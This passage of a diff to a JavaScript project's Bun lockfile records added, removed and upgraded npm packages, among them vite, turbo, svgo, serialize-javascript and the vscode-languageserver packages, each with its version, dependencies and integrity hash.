"sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ=="], - "schema-utils": ["schema-utils@3.3.0", "", { "dependencies": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", "ajv-keywords": "^3.5.2" } }, "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg=="], - "seedrandom": ["seedrandom@3.0.5", "", {}, "sha512-8OwmbklUNzwezjGInmZ+2clQmExQPvomqjL7LFqOYqtmuxRgQYqOD3mHaU+MvZn5FLUeVxVfQjwLZW/n/JFuqg=="], "semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], "send": ["send@1.2.0", "", { "dependencies": { "debug": "^4.3.5", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.0", "mime-types": "^3.0.1", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.1" } }, "sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw=="], - "serialize-javascript": ["serialize-javascript@6.0.2", "", { "dependencies": { "randombytes": "^2.1.0" } }, "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g=="], + "serialize-javascript": ["serialize-javascript@7.0.4", "", {}, "sha512-DuGdB+Po43Q5Jxwpzt1lhyFSYKryqoNjQSA9M92tyw0lyHIOur+XCalOUe0KTJpyqzT8+fQ5A0Jf7vCx/NKmIg=="], "serve-static": ["serve-static@2.2.0", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ=="], @@ -4237,6 +4499,8 @@ "standard-as-callback": ["standard-as-callback@2.1.0", "", {}, "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A=="], + "state-local": ["state-local@1.0.7", "", {}, "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w=="], + "static-browser-server": ["static-browser-server@1.0.3", "", { "dependencies": { "@open-draft/deferred-promise": "^2.1.0", "dotenv": "^16.0.3", "mime-db": "^1.52.0", "outvariant": "^1.3.0" } }, "sha512-ZUyfgGDdFRbZGGJQ1YhiM930Yczz5VlbJObrQLlk24+qNHVQx4OlLcYswEUo3bIyNAbQUIUR9Yr5/Hqjzqb4zA=="], "statuses": ["statuses@2.0.1", "", {}, "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="], @@ -4297,7 +4561,7 @@ "strip-json-comments": ["strip-json-comments@3.1.1", "", {}, "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="], - "strnum": ["strnum@1.0.5", "", {}, "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA=="], + "strnum": ["strnum@2.2.0", "", {}, "sha512-Y7Bj8XyJxnPAORMZj/xltsfo55uOiyHcU2tnAVzHUnSJR/KsEX+9RoDeXEnsXtl/CX4fAcrt64gZ13aGaWPeBg=="], "strtok3": ["strtok3@7.0.0", "", { "dependencies": { "@tokenizer/token": "^0.3.0", "peek-readable": "^5.0.0" } }, "sha512-pQ+V+nYQdC5H3Q7qBZAz/MO6lwGhoC2gOAjuouGf/VO0m7vQRh8QNMl2Uf6SwAtzZ9bOw3UIeBukEGNJl5dtXQ=="], @@ -4309,6 +4573,8 @@ "stylehacks": ["stylehacks@5.1.1", "", { "dependencies": { "browserslist": "^4.21.4", "postcss-selector-parser": "^6.0.4" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw=="], + "stylis": ["stylis@4.3.6", "", {}, "sha512-yQ3rwFWRfwNUY7H5vpU0wfdkNSnvnJinhF9830Swlaxl03zsOjCfmX0ugac+3LtK0lYSgwL/KXc8oYL3mG4YFQ=="], + "sucrase": ["sucrase@3.35.0", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.2", "commander": "^4.0.0", "glob": "^10.3.10", "lines-and-columns": "^1.1.6", "mz": "^2.7.0", "pirates": "^4.0.1", "ts-interface-checker": "^0.1.9" }, "bin": { "sucrase": "bin/sucrase", "sucrase-node": "bin/sucrase-node" } }, "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA=="], "superagent": ["superagent@9.0.2", "", { "dependencies": { "component-emitter": "^1.3.0", "cookiejar": "^2.1.4", "debug": "^4.3.4", "fast-safe-stringify": "^2.1.1", "form-data": "^4.0.0", "formidable": "^3.5.1", "methods": "^1.1.2", "mime": "2.6.0", "qs": "^6.11.0" } }, "sha512-xuW7dzkUpcJq7QnhOsnNUgtYp3xRwpt2F7abdRYIpCsAt0hhUqia0EdxyXZQQpNmGtsCzYHryaKSV3q3GJnq7w=="], @@ -4321,7 +4587,9 @@ "supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="], - "svgo": ["svgo@2.8.0", "", { "dependencies": { "@trysound/sax": "0.2.0", "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", "stable": "^0.1.8" }, "bin": "bin/svgo" }, "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg=="], + "svgo": ["svgo@2.8.2", "", { "dependencies": { "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", "sax": "^1.5.0", "stable": "^0.1.8" }, "bin": "./bin/svgo" }, "sha512-TyzE4NVGLUFy+H/Uy4N6c3G0HEeprsVfge6Lmq+0FdQQ/zqoVYB62IsBZORsiL+o96s6ff/V6/3UQo/C0cgCAA=="], + + "swr": ["swr@2.4.1", "", { "dependencies": { "dequal": "^2.0.3", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.11.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-2CC6CiKQtEwaEeNiqWTAw9PGykW8SR5zZX8MZk6TeAvEAnVS7Visz8WzphqgtQ8v2xz/4Q5K+j+SeMaKXeeQIA=="], "symbol-tree": ["symbol-tree@3.2.4", "", {}, "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="], @@ -4349,8 +4617,6 @@ "terser": ["terser@5.27.0", "", { "dependencies": { "@jridgewell/source-map": "^0.3.3", "acorn": "^8.8.2", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, "bin": "bin/terser" }, "sha512-bi1HRwVRskAjheeYl291n3JC4GgO/Ty4z1nVs5AAsmonJulGxpSektecnNedrwK9C7vpvVtcX3cw00VSLt7U2A=="], - "terser-webpack-plugin": ["terser-webpack-plugin@5.3.10", "", { "dependencies": { "@jridgewell/trace-mapping": "^0.3.20", "jest-worker": "^27.4.5", "schema-utils": "^3.1.1", "serialize-javascript": "^6.0.1", "terser": "^5.26.0" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w=="], - "test-exclude": ["test-exclude@6.0.0", "", { "dependencies": { "@istanbuljs/schema": "^0.1.2", "glob": "^7.1.4", "minimatch": "^3.0.4" } }, "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w=="], "text-decoder": ["text-decoder@1.2.3", "", { "dependencies": { "b4a": "^1.6.4" } }, "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA=="], @@ -4367,7 +4633,9 @@ "tiny-emitter": ["tiny-emitter@2.1.0", "", {}, "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q=="], - "tinyglobby": ["tinyglobby@0.2.13", "", { "dependencies": { "fdir": "^6.4.4", "picomatch": "^4.0.2" } }, "sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw=="], + "tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="], + + "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="], "tldts": ["tldts@6.1.86", "", { "dependencies": { "tldts-core": "^6.1.86" }, "bin": { "tldts": "bin/cli.js" } }, "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ=="], @@ -4403,8 +4671,12 @@ "ts-api-utils": ["ts-api-utils@2.0.1", "", { "peerDependencies": { "typescript": ">=4.8.4" } }, "sha512-dnlgjFSVetynI8nzgJ+qF62efpglpWRk8isUEWZGWlJYySCTD6aKvbUDu+zbPeDakk3bg5H4XpitHukgfL1m9w=="], + "ts-dedent": ["ts-dedent@2.2.0", "", {}, "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ=="], + "ts-interface-checker": ["ts-interface-checker@0.1.13", "", {}, "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="], + "ts-md5": ["ts-md5@1.3.1", "", {}, "sha512-DiwiXfwvcTeZ5wCE0z+2A9EseZsztaiZtGrtSaY5JOD7ekPnR/GoIVD5gXZAlK9Na9Kvpo9Waz5rW64WKAWApg=="], + "ts-node": ["ts-node@10.9.2", "", { "dependencies": { "@cspotcode/source-map-support": "^0.8.0", "@tsconfig/node10": "^1.0.7", "@tsconfig/node12": "^1.0.7", "@tsconfig/node14": "^1.0.0", "@tsconfig/node16": "^1.0.2", "acorn": "^8.4.1", "acorn-walk": "^8.1.1", "arg": "^4.1.0", "create-require": "^1.1.0", "diff": "^4.0.1", "make-error": "^1.1.1", "v8-compile-cache-lib": "^3.0.1", "yn": "3.1.1" }, "peerDependencies": { "@swc/core": ">=1.2.50", "@swc/wasm": ">=1.2.50", "@types/node": "*", "typescript": ">=2.7" }, "optionalPeers": ["@swc/core", "@swc/wasm"], "bin": { "ts-node": "dist/bin.js", "ts-node-cwd": "dist/bin-cwd.js", "ts-node-esm": "dist/bin-esm.js", "ts-node-script": "dist/bin-script.js", "ts-node-transpile-only": "dist/bin-transpile.js", "ts-script": "dist/bin-script-deprecated.js" } }, "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ=="], "tsconfig-paths": ["tsconfig-paths@3.15.0", "", { "dependencies": { "@types/json5": "^0.0.29", "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" } }, "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg=="], @@ -4413,6 +4685,20 @@ "tty-browserify": ["tty-browserify@0.0.1", "", {}, "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw=="], + "turbo": ["turbo@2.8.14", "", { "optionalDependencies": { "turbo-darwin-64": "2.8.14", "turbo-darwin-arm64": "2.8.14", "turbo-linux-64": "2.8.14", "turbo-linux-arm64": "2.8.14", "turbo-windows-64": "2.8.14", "turbo-windows-arm64": "2.8.14" }, "bin": { "turbo": "bin/turbo" } }, "sha512-UCTxeMNYT1cKaHiIFdLCQ7ulI+jw5i5uOnJOrRXsgUD7G3+OjlUjwVd7JfeVt2McWSVGjYA3EVW/v1FSsJ5DtA=="], + + "turbo-darwin-64": ["turbo-darwin-64@2.8.14", "", { "os": "darwin", "cpu": "x64" }, "sha512-9sFi7n2lLfEsGWi5OEoA/eTtQU2BPKtzSYKqufMtDeRmqMT9vKjbv9gJCRkllSVE9BOXA0qXC3diyX8V8rKIKw=="], + + "turbo-darwin-arm64": ["turbo-darwin-arm64@2.8.14", "", { "os": "darwin", "cpu": "arm64" }, "sha512-aS4yJuy6A1PCLws+PJpZP0qCURG8Y5iVx13z/WAbKyeDTY6W6PiGgcEllSaeLGxyn++382ztN/EZH85n2zZ6VQ=="], + + "turbo-linux-64": ["turbo-linux-64@2.8.14", "", { "os": "linux", "cpu": "x64" }, "sha512-XC6wPUDJkakjhNLaS0NrHDMiujRVjH+naEAwvKLArgqRaFkNxjmyNDRM4eu3soMMFmjym6NTxYaF74rvET+Orw=="], + + "turbo-linux-arm64": ["turbo-linux-arm64@2.8.14", "", { "os": "linux", "cpu": "arm64" }, "sha512-ChfE7isyVNjZrVSPDwcfqcHLG/FuIBbOFxnt1FM8vSuBGzHAs8AlTdwFNIxlEMJfZ8Ad9mdMxdmsCUPIWiQ6cg=="], + + "turbo-windows-64": ["turbo-windows-64@2.8.14", "", { "os": "win32", "cpu": "x64" }, "sha512-FTbIeQL1ycLFW2t9uQNMy+bRSzi3Xhwun/e7ZhFBdM+U0VZxxrtfYEBM9CHOejlfqomk6Jh7aRz0sJoqYn39Hg=="], + + "turbo-windows-arm64": ["turbo-windows-arm64@2.8.14", "", { "os": "win32", "cpu": "arm64" }, "sha512-KgZX12cTyhY030qS7ieT8zRkhZZE2VWJasDFVUSVVn17nR7IShpv68/7j5UqJNeRLIGF1XPK0phsP5V5yw3how=="], + "type": ["type@2.7.3", "", {}, "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ=="], "type-check": ["type-check@0.4.0", "", { "dependencies": { "prelude-ls": "^1.2.1" } }, "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew=="], @@ -4441,6 +4727,8 @@ "ua-parser-js": ["ua-parser-js@1.0.37", "", {}, "sha512-bhTyI94tZofjo+Dn8SN6Zv8nBDvyXTymAdM3LDI/0IboIUwTu1rEhW7v2TfiVsoYWgkQ4kOVqnI8APUFbIQIFQ=="], + "ufo": ["ufo@1.6.3", "", {}, "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q=="], + "uglify-js": ["uglify-js@3.17.4", "", { "bin": { "uglifyjs": "bin/uglifyjs" } }, "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g=="], "uid-safe": ["uid-safe@2.1.5", "", { "dependencies": { "random-bytes": "~1.0.0" } }, "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA=="], @@ -4451,7 +4739,9 @@ "undefsafe": ["undefsafe@2.0.5", "", {}, "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA=="], - "undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="], + "underscore": ["underscore@1.13.8", "", {}, "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ=="], + + "undici": ["undici@7.22.0", "", {}, "sha512-RqslV2Us5BrllB+JeiZnK4peryVTndy9Dnqq62S3yYRRTj0tFQCwEniUy2167skdGOy3vqRzEvl1Dm4sV2ReDg=="], "undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="], @@ -4495,10 +4785,6 @@ "url": ["url@0.11.4", "", { "dependencies": { "punycode": "^1.4.1", "qs": "^6.12.3" } }, "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg=="], - "url-parse": ["url-parse@1.5.10", "", { "dependencies": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" } }, "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ=="], - - "url-template": ["url-template@2.0.8", "", {}, "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw=="], - "use-callback-ref": ["use-callback-ref@1.3.3", "", { "dependencies": { "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg=="], "use-composed-ref": ["use-composed-ref@1.3.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ=="], @@ -4535,36 +4821,42 @@ "vfile-message": ["vfile-message@4.0.2", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw=="], - "vite": ["vite@6.4.1", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "tsx"], "bin": "bin/vite.js" }, "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g=="], + "vite": ["vite@7.3.1", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA=="], "vite-plugin-compression2": ["vite-plugin-compression2@2.2.1", "", { "dependencies": { "@rollup/pluginutils": "^5.1.0", "tar-mini": "^0.2.0" } }, "sha512-LMDkgheJaFBmb8cB8ymgUpXHXnd3m4kmjEInvp59fOZMSaT/9oDUtqpO0ihr4ExGsnWfYcRe13/TNN3BEk2t/g=="], - "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.23.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.2.0" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0" } }, "sha512-4n+Ys+2bKHQohPBKigFlndwWQ5fFKwaGY6muNDMTb0fSQLyBzS+jjUNRZG9sKF0S/Go4ApG6LFnUGopjkILg3w=="], + "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.25.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.3.1" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-rHZ324W3LhfGPxWwQb2N048TThB6nVvnipsqBUJEzh3R9xeK9KI3si+GMQxCuAcpPJBVf0LpDtJ+beYzB3/chg=="], - "vite-plugin-pwa": ["vite-plugin-pwa@0.21.2", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^0.2.6", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-vFhH6Waw8itNu37hWUJxL50q+CBbNcMVzsKaYHQVrfxTt3ihk3PeLO22SbiP1UNWzcEPaTQv+YVxe4G0KOjAkg=="], + "vite-plugin-pwa": ["vite-plugin-pwa@1.2.0", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.4.0", "workbox-window": "^7.4.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^1.0.0", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-a2xld+SJshT9Lgcv8Ji4+srFJL4k/1bVbd1x06JIkvecpQkwkvCncD1+gSzcdm3s+owWLpMJerG3aN5jupJEVw=="], "vm-browserify": ["vm-browserify@1.1.2", "", {}, "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ=="], "void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="], + "vscode-jsonrpc": ["vscode-jsonrpc@8.2.0", "", {}, "sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA=="], + + "vscode-languageserver": ["vscode-languageserver@9.0.1", "", { "dependencies": { "vscode-languageserver-protocol": "3.17.5" }, "bin": { "installServerIntoExtension": "bin/installServerIntoExtension" } }, "sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g=="], + + "vscode-languageserver-protocol": ["vscode-languageserver-protocol@3.17.5", "", { "dependencies": { "vscode-jsonrpc": "8.2.0", "vscode-languageserver-types": "3.17.5" } }, "sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg=="], + + "vscode-languageserver-textdocument": ["vscode-languageserver-textdocument@1.0.12", "", {}, "sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA=="], + + "vscode-languageserver-types": ["vscode-languageserver-types@3.17.5", "", {}, "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg=="], + + "vscode-uri": ["vscode-uri@3.1.0", "", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="], + "w3c-keyname": ["w3c-keyname@2.2.8", "", {}, "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ=="], "w3c-xmlserializer": ["w3c-xmlserializer@5.0.0", "", { "dependencies": { "xml-name-validator": "^5.0.0" } }, "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA=="], "walker": ["walker@1.0.8", "", { "dependencies": { "makeerror": "1.0.12" } }, "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ=="], - "watchpack": ["watchpack@2.4.2", "", { "dependencies": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" } }, "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw=="], - "web-namespaces": ["web-namespaces@2.0.1", "", {}, "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ=="], "web-streams-polyfill": ["web-streams-polyfill@3.3.3", "", {}, "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw=="], "webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="], - "webpack": ["webpack@5.94.0", "", { "dependencies": { "@types/estree": "^1.0.5", "@webassemblyjs/ast": "^1.12.1", "@webassemblyjs/wasm-edit": "^1.12.1", "@webassemblyjs/wasm-parser": "^1.12.1", "acorn": "^8.7.1", "acorn-import-attributes": "^1.9.5", "browserslist": "^4.21.10", "chrome-trace-event": "^1.0.2", "enhanced-resolve": "^5.17.1", "es-module-lexer": "^1.2.1", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.2.0", "mime-types": "^2.1.27", "neo-async": "^2.6.2", "schema-utils": "^3.2.0", "tapable": "^2.1.1", 